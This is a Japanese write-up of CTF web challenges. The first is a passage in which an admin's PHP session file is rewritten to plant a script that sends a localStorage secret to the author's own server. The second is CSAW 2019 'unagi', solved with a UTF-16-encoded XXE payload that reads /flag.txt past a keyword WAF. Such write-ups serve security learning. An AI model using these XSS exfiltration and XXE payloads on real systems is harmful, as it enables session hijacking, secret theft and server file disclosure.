current_user|O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:60:"$2y$10$H38hS7IMk1MzSg/usdBvjuRucRGkEKrc/tJhJQOD7249oRpNqWc5O";s:5:"privs";s:2:"15";s:2:"id";s:1:"1";}
usernameを次のように書き換え自身のサーバーに鍵が送信されるようにしてしばらく待つ。
current_user|O:4:"User":4:{s:8:"username";s:82:"<script>location='http://xxx.xxx.xxx.xxx/?s=/'+localStorage.encryptSecret</script>";s:8:"password";s:60:"$2y$10$H38hS7IMk1MzSg/usdBvjuRucRGkEKrc/tJhJQOD7249oRpNqWc5O";s:5:"privs";s:2:"15";s:2:"id";s:1:"1";}
しばらく待ってもリクエストが来ないのでセッションファイルを調べて見るとセッションファイルが書き換え前に戻っていた。管理者は巡回時に毎回ログインし直しているようなのでスクリプトでセッションファイルの書き換え処理をループさせて数秒待っていると次のようなリクエストが送信されてきた。
GET /?s=/wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds= HTTP/1.1" 200 284 "http://localhost/admin" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/72.0.3582.0 Safari/537.36
flagの復号
ファイルアップロードのページの開発者コンソールで次のJavaScriptを実行することでflagを復号できる。
flag = 'U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ==' key = 'wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds=' CryptoJS.AES.decrypt(flag, atob(key)).toString(CryptoJS.enc.Utf8)
flag{fddb53d704808cb859862d3eb9e9609bae3711bb}
所感
解ければ楽しい問題だった気もするが、全体的に推測とブルートフォースが求められる問題だった気がする。特に管理者の巡回があるというヒントなしでは自分は解ける気がしなかった。さらに管理者がどのページを見るのかという情報もなかったので手探り感がすごかった。今問題を見るとclient.py
というファイルが配布されておりこれを見ればどこを巡回してくるのかわかるのかもしれない(解いたタイミングではなかった気がするし、今はダウンロードができない)。
また、管理者のセッションファイルを書き換える必要があり、解く際に他人に影響を与える蓋然性が高いので、こういう問題は運用が難しそうだなと思いました。
CSAW CTF 2019 Qualification Writeup - unagi (web 200)
登録されたユーザーの一覧とユーザーの追加ができるページが与えられる。また、Aboutを読むとflagは/flag.txt
に保存されていることがわかる。
ユーザーの追加はXMLをアップロードすることにより行うようで、以下のようなサンプルのXMLも与えられる。このパターンはXXEで解く以外に考えられないと言っても過言ではないレベル。
<users> <user> <username>alice</username> <password>passwd1</password> <name>Alice</name> <email>alice@fakesite.com</email> <group>CSAW2019</group> </user> <user> <username>bob</username> <password>passwd2</password> <name> Bob</name> <email>bob@fakesite.com</email> <group>CSAW2019</group> </user> </users>
そこで適当にググって出てきたXXEのサンプルをアップロードしてみると次のエラーメッセージが表示された。
WAF blocked uploaded file. Please try again
どうやらENTITY
, SYSTEM
やfile
がファイルに含まれているとブロックされるようである。これをバイパスするためにUTF-16でエンコードした次のようなXMLを送信してみる。
<?xml version="1.0" encoding="UTF-16"?> <!DOCTYPE name [<!ENTITY test SYSTEM 'file:///flag.txt'>]> <users> <user> <username>alice</username> <password>passwd1</password> <name>&test;</name> <email>alice@fakesite.com</email> <group>CSAW2019</group> </user> </users>
すると次のようなレスポンスが返ってきた。
XXE自体は成功しているが、どうやら文字長制限でflagまで見えていないっぽい。EmailやGroupに出力しても同様の結果となった。XXEを使うとファイルを外部に送信することもできるので、それが解法だと確信してflag.txtを外部に送信しようと頑張ったがなかなかできなかった。
ふとユーザー一覧ページを見るとIntroというXMLに含まれていない項目の存在に気づいた。試しにIntroにflagを出力させようと以下のXMLを送信してみた。
<?xml version="1.0" encoding="UTF-16"?> <!DOCTYPE intro [<!ENTITY test SYSTEM 'file:///flag.txt'>]> <users> <user> <intro>&test;</intro> </user> </users>
すると以下のような応答が返ってきた。結局これが想定解っぽい。
Intro: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts} AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
XXEでファイルを外部送信しようとするのに結構な時間を費やしてしまった。なんでそんな意地悪するの…
flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}